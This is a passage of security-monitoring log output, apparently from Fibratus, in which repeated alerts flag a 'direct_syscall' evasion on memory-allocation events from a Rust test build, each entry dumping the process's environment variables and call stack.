Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0 WindowsSDKLibVersion:10.0.22621.0\ WindowsSDKVersion:10.0.22621.0\ WindowsSdkBinPath:C:\Program Files (x86)\Windows Kits\10\bin\ WindowsSdkDir:C:\Program Files (x86)\Windows Kits\10\ WindowsSdkVerBinPath:C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\ _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols __DOTNET_ADD_32BIT:1 __DOTNET_PREFERRED_BITNESS:32 __VSCMD_PREINIT_PATH:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\.cargo\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin windir:C:\WINDOWS] + + ] and callstack [0xfffff802c4542714 C:\WINDOWS\system32\ntoskrnl.exe!ExQueueWorkItem+0x894|0xfffff802c4474909 C:\WINDOWS\system32\ntoskrnl.exe!KeAddProcessorAffinityEx+0x739|0xfffff802c4548ff2 C:\WINDOWS\system32\ntoskrnl.exe!PsGetEffectiveServerSilo+0x1c2|0xfffff802c4c2a99c C:\WINDOWS\system32\ntoskrnl.exe!FsRtlQueryCachedVdl+0x1ec|0xfffff802c4a63d12 C:\WINDOWS\system32\ntoskrnl.exe!NtAllocateVirtualMemory+0x1532|0xfffff802c4a629bf C:\WINDOWS\system32\ntoskrnl.exe!NtAllocateVirtualMemory+0x1df|0xfffff802c48b2255 C:\WINDOWS\system32\ntoskrnl.exe!setjmpex+0x9215|0xfffff802c48a0700 C:\WINDOWS\system32\ntoskrnl.exe!KeSaveStateForHibernate+0x1a10|0xfffff802c4c24004 C:\WINDOWS\system32\ntoskrnl.exe!MmRotatePhysicalView+0xb24|0xfffff802c449315c C:\WINDOWS\system32\ntoskrnl.exe!RtlPcToFileHeader+0x17c4c|0xfffff802c44400d4 C:\WINDOWS\system32\ntoskrnl.exe!ExReleaseSpinLockSharedFromDpcLevel+0x634|0xfffff802c48addcb C:\WINDOWS\system32\ntoskrnl.exe!setjmpex+0x4d8b|0x7ff6902f7ee7 C:\Users\nedo\.cargo\bin\cargo.exe!?|0x7ff68fb03586 C:\Users\nedo\.cargo\bin\cargo.exe!?|0x7ff68fa3ec36 C:\Users\nedo\.cargo\bin\cargo.exe!?|0x7ff68fb151ea C:\Users\nedo\.cargo\bin\cargo.exe!?|0x7ff6902f811c C:\Users\nedo\.cargo\bin\cargo.exe!?|0x7ffaf5b1e8d7 C:\Windows\System32\kernel32.dll!BaseThreadInitThunk|0x7ffaf700c53c C:\Windows\System32\ntdll.dll!RtlUserThreadStart] source=evasion/scanner.go:68 +time=2025-12-06T19:12:59+01:00 level=info msg=detected evasion "direct_syscall" on event [ + Seq: 902764 + Pid: 15532 + Tid: 3468 + Type: VirtualAlloc + CPU: 1 + Name: VirtualAlloc + Category: mem + Description: + Host: archrabbit + Timestamp: 2025-12-06 19:12:57.9869084 +0100 CET + Params: alloc_type➜ COMMIT, base_address➜ d0f50ee000, exe➜ C:\Users\nedo\.cargo\bin\cargo.exe, name➜ cargo.exe, page_type➜ PRIVATE, pid➜ 15532, protection➜ READWRITE, protection_mask➜ RW, region_size➜ 24576 + Metadata: evasions: [direct_syscall] + + Pid: 15532 + Ppid: 9772 + Name: cargo.exe + Parent name: powershell.exe + Cmdline: "C:\Users\nedo\.cargo\bin\cargo.exe" test + Parent cmdline: C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe + Exe: C:\Users\nedo\.cargo\bin\cargo.exe + Cwd: C:\Fibratus\redteam\RustVEHSyscalls\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: HIGH + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Users\nedo\.cargo\bin\cargo.exe" test] + Session ID: 1 + Envs: map[ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming COMPUTERNAME:ARCHRABBIT CONDA_PROMPT_MODIFIER:False ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommandPromptType:Native CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DevEnvDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\ DriverData:C:\Windows\System32\Drivers\DriverData EXTERNAL_INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt ExtensionSdkDir:C:\Program Files (x86)\Microsoft SDKs\Windows Kits\10\ExtensionSDKs Framework40Version:v4.0 FrameworkDir:C:\Windows\Microsoft.NET\Framework\ FrameworkDir32:C:\Windows\Microsoft.NET\Framework\ FrameworkVersion:v4.0.30319 FrameworkVersion32:v4.0.30319 GOPATH:C:\Users\nedo\go HOMEDRIVE:C: HOMEPATH:\Users\nedo INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt JAVA_HOME:C:\Program Files\Jdk11 LIB:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files (x86)\Windows Kits\10\lib\10.0.22621.0\ucrt\x86;C:\Program Files (x86)\Windows Kits\10\\lib\10.0.22621.0\\um\x86 LIBPATH:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86\store\references;C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0;C:\Windows\Microsoft.NET\Framework\v4.0.30319 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT NUMBER_OF_PROCESSORS:8 OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY;.CPL POSH_GIT_ENABLED:False POSH_THEME:C:\Posh-Themes\spaceship.json POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes POWERLINE_COMMAND:oh-my-posh PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PROMPT:$P$G PSModulePath:C:\Users\nedo\Documents\WindowsPowerShell\Modules;C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\bin\HostX86\x86;C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\\x86;C:\Program Files (x86)\Windows Kits\10\bin\\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\\MSBuild\Current\Bin\amd64;C:\Windows\Microsoft.NET\Framework\v4.0.30319;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\;C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\.cargo\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SESSIONNAME:Console SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp UCRTVersion:10.0.22621.0 USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo UniversalCRTSdkDir:C:\Program Files (x86)\Windows Kits\10\ VCIDEInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\VC\ VCINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\ VCToolsInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\ VCToolsRedistDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Redist\MSVC\14.36.32532\ VCToolsVersion:14.36.32532 VS170COMNTOOLS:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\ VSCMD_ARG_HOST_ARCH:x86 VSCMD_ARG_TGT_ARCH:x86 VSCMD_ARG_app_plat:Desktop VSCMD_VER:17.6.4 VSINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\ VisualStudioVersion:17.0 WSLENV:WT_SESSION:WT_PROFILE_ID: WT_PROFILE_ID:{61c54bbd-c2c6-5271-96e7-009a87ff44bf} WT_SESSION:7feeb2fe-95ef-4620-b095-b09aedd8af7c WindowsLibPath:C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0 WindowsSDKLibVersion:10.0.22621.0\ WindowsSDKVersion:10.0.22621.0\ WindowsSdkBinPath:C:\Program Files (x86)\Windows Kits\10\bin\ WindowsSdkDir:C:\Program Files (x86)\Windows Kits\10\ WindowsSdkVerBinPath:C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\ _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols __DOTNET_ADD_32BIT:1 __DOTNET_PREFERRED_BITNESS:32 __VSCMD_PREINIT_PATH:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\.cargo\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin windir:C:\WINDOWS] + + ] and callstack [0xfffff802c4542714 C:\WINDOWS\system32\ntoskrnl.exe!ExQueueWorkItem+0x894|0xfffff802c4474909 C:\WINDOWS\system32\ntoskrnl.exe!KeAddProcessorAffinityEx+0x739|0xfffff802c4548ff2 C:\WINDOWS\system32\ntoskrnl.exe!PsGetEffectiveServerSilo+0x1c2|0xfffff802c4c2a99c C:\WINDOWS\system32\ntoskrnl.exe!FsRtlQueryCachedVdl+0x1ec|0xfffff802c4a63d12 C:\WINDOWS\system32\ntoskrnl.exe!NtAllocateVirtualMemory+0x1532|0xfffff802c4a629bf C:\WINDOWS\system32\ntoskrnl.exe!NtAllocateVirtualMemory+0x1df|0xfffff802c48b2255 C:\WINDOWS\system32\ntoskrnl.exe!setjmpex+0x9215|0xfffff802c48a0700 C:\WINDOWS\system32\ntoskrnl.exe!KeSaveStateForHibernate+0x1a10|0xfffff802c4c24004 C:\WINDOWS\system32\ntoskrnl.exe!MmRotatePhysicalView+0xb24|0xfffff802c449315c C:\WINDOWS\system32\ntoskrnl.exe!RtlPcToFileHeader+0x17c4c|0xfffff802c44400d4 C:\WINDOWS\system32\ntoskrnl.exe!ExReleaseSpinLockSharedFromDpcLevel+0x634|0xfffff802c48addcb C:\WINDOWS\system32\ntoskrnl.exe!setjmpex+0x4d8b|0x7ff6902f7ee7 C:\Users\nedo\.cargo\bin\cargo.exe!?|0x7ff68fb03586 C:\Users\nedo\.cargo\bin\cargo.exe!?|0x7ff68fa3ec36 C:\Users\nedo\.cargo\bin\cargo.exe!?|0x7ff68fb151ea C:\Users\nedo\.cargo\bin\cargo.exe!?|0x7ff6902f811c C:\Users\nedo\.cargo\bin\cargo.exe!?|0x7ffaf5b1e8d7 C:\Windows\System32\kernel32.dll!BaseThreadInitThunk|0x7ffaf700c53c C:\Windows\System32\ntdll.dll!RtlUserThreadStart] source=evasion/scanner.go:68 +time=2025-12-06T19:12:59+01:00 level=info msg=detected evasion "direct_syscall" on event [ + Seq: 902766 + Pid: 15532 + Tid: 3468 + Type: VirtualAlloc + CPU: 1 + Name: VirtualAlloc + Category: mem + Description: + Host: archrabbit + Timestamp: 2025-12-06 19:12:57.9869231 +0100 CET + Params: alloc_type➜ COMMIT, base_address➜ d0f50ed000, exe➜ C:\Users\nedo\.cargo\bin\cargo.exe, name➜ cargo.exe, page_type➜ PRIVATE, pid➜ 15532, protection➜ READWRITE, protection_mask➜ RW, region_size➜ 24576 + Metadata: evasions: [direct_syscall] + + Pid: 15532 + Ppid: 9772 + Name: cargo.exe + Parent name: powershell.exe + Cmdline: "C:\Users\nedo\.cargo\bin\cargo.exe" test + Parent cmdline: C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe + Exe: C:\Users\nedo\.cargo\bin\cargo.exe + Cwd: C:\Fibratus\redteam\RustVEHSyscalls\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: HIGH + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Users\nedo\.cargo\bin\cargo.exe" test] + Session ID: 1 + Envs: map[ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming COMPUTERNAME:ARCHRABBIT CONDA_PROMPT_MODIFIER:False ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommandPromptType:Native CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DevEnvDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\ DriverData:C:\Windows\System32\Drivers\DriverData EXTERNAL_INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt ExtensionSdkDir:C:\Program Files (x86)\Microsoft SDKs\Windows Kits\10\ExtensionSDKs Framework40Version:v4.0 FrameworkDir:C:\Windows\Microsoft.NET\Framework\ FrameworkDir32:C:\Windows\Microsoft.NET\Framework\ FrameworkVersion:v4.0.30319 FrameworkVersion32:v4.0.30319 GOPATH:C:\Users\nedo\go HOMEDRIVE:C: HOMEPATH:\Users\nedo INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt JAVA_HOME:C:\Program Files\Jdk11 LIB:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files (x86)\Windows Kits\10\lib\10.0.22621.0\ucrt\x86;C:\Program Files (x86)\Windows Kits\10\\lib\10.0.22621.0\\um\x86 LIBPATH:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86\store\references;C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0;C:\Windows\Microsoft.NET\Framework\v4.0.30319 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT NUMBER_OF_PROCESSORS:8 OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY;.CPL POSH_GIT_ENABLED:False POSH_THEME:C:\Posh-Themes\spaceship.json POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes POWERLINE_COMMAND:oh-my-posh PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PROMPT:$P$G PSModulePath:C:\Users\nedo\Documents\WindowsPowerShell\Modules;C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\bin\HostX86\x86;C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\\x86;C:\Program Files (x86)\Windows Kits\10\bin\\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\\MSBuild\Current\Bin\amd64;C:\Windows\Microsoft.NET\Framework\v4.0.30319;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\;C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\.cargo\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SESSIONNAME:Console SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp UCRTVersion:10.0.22621.0 USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo UniversalCRTSdkDir:C:\Program Files (x86)\Windows Kits\10\ VCIDEInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\VC\ VCINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\ VCToolsInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\ VCToolsRedistDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Redist\MSVC\14.36.32532\ VCToolsVersion:14.36.32532 VS170COMNTOOLS:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\ VSCMD_ARG_HOST_ARCH:x86 VSCMD_ARG_TGT_ARCH:x86 VSCMD_ARG_app_plat:Desktop VSCMD_VER:17.6.4 VSINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\ VisualStudioVersion:17.0 WSLENV:WT_SESSION:WT_PROFILE_ID: WT_PROFILE_ID:{61c54bbd-c2c6-5271-96e7-009a87ff44bf} WT_SESSION:7feeb2fe-95ef-4620-b095-b09aedd8af7c WindowsLibPath:C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0 WindowsSDKLibVersion:10.0.22621.0\ WindowsSDKVersion:10.0.22621.0\ WindowsSdkBinPath:C:\Program Files (x86)\Windows Kits\10\bin\ WindowsSdkDir:C:\Program Files (x86)\Windows Kits\10\ WindowsSdkVerBinPath:C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\ _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols __DOTNET_ADD_32BIT:1 __DOTNET_PREFERRED_BITNESS:32 __VSCMD_PREINIT_PATH:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\.cargo\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin windir:C:\WINDOWS] + + ] and callstack [0xfffff802c4542714 C:\WINDOWS\system32\ntoskrnl.exe!ExQueueWorkItem+0x894|0xfffff802c4474909 C:\WINDOWS\system32\ntoskrnl.exe!KeAddProcessorAffinityEx+0x739|0xfffff802c4548ff2 C:\WINDOWS\system32\ntoskrnl.exe!PsGetEffectiveServerSilo+0x1c2|0xfffff802c4c2a99c C:\WINDOWS\system32\ntoskrnl.exe!FsRtlQueryCachedVdl+0x1ec|0xfffff802c4a63d12 C:\WINDOWS\system32\ntoskrnl.exe!NtAllocateVirtualMemory+0x1532|0xfffff802c4a629bf C:\WINDOWS\system32\ntoskrnl.exe!NtAllocateVirtualMemory+0x1df|0xfffff802c48b2255 C:\WINDOWS\system32\ntoskrnl.exe!setjmpex+0x9215|0xfffff802c48a0700 C:\WINDOWS\system32\ntoskrnl.exe!KeSaveStateForHibernate+0x1a10|0xfffff802c4c24004 C:\WINDOWS\system32\ntoskrnl.exe!MmRotatePhysicalView+0xb24|0xfffff802c449315c C:\WINDOWS\system32\ntoskrnl.exe!RtlPcToFileHeader+0x17c4c|0xfffff802c44400d4 C:\WINDOWS\system32\ntoskrnl.exe!ExReleaseSpinLockSharedFromDpcLevel+0x634|0xfffff802c48addcb C:\WINDOWS\system32\ntoskrnl.exe!setjmpex+0x4d8b|0x7ff6902f7ee7 C:\Users\nedo\.cargo\bin\cargo.exe!?|0x7ff68fb03586 C:\Users\nedo\.cargo\bin\cargo.exe!?|0x7ff68fa3ec36 C:\Users\nedo\.cargo\bin\cargo.exe!?|0x7ff68fb151ea C:\Users\nedo\.cargo\bin\cargo.exe!?|0x7ff6902f811c C:\Users\nedo\.cargo\bin\cargo.exe!?|0x7ffaf5b1e8d7 C:\Windows\System32\kernel32.dll!BaseThreadInitThunk|0x7ffaf700c53c C:\Windows\System32\ntdll.dll!RtlUserThreadStart] source=evasion/scanner.go:68 +time=2025-12-06T19:12:59+01:00 level=info msg=detected evasion "direct_syscall" on event [ + Seq: 902768 + Pid: 15532 + Tid: 3468 + Type: VirtualAlloc + CPU: 1 + Name: 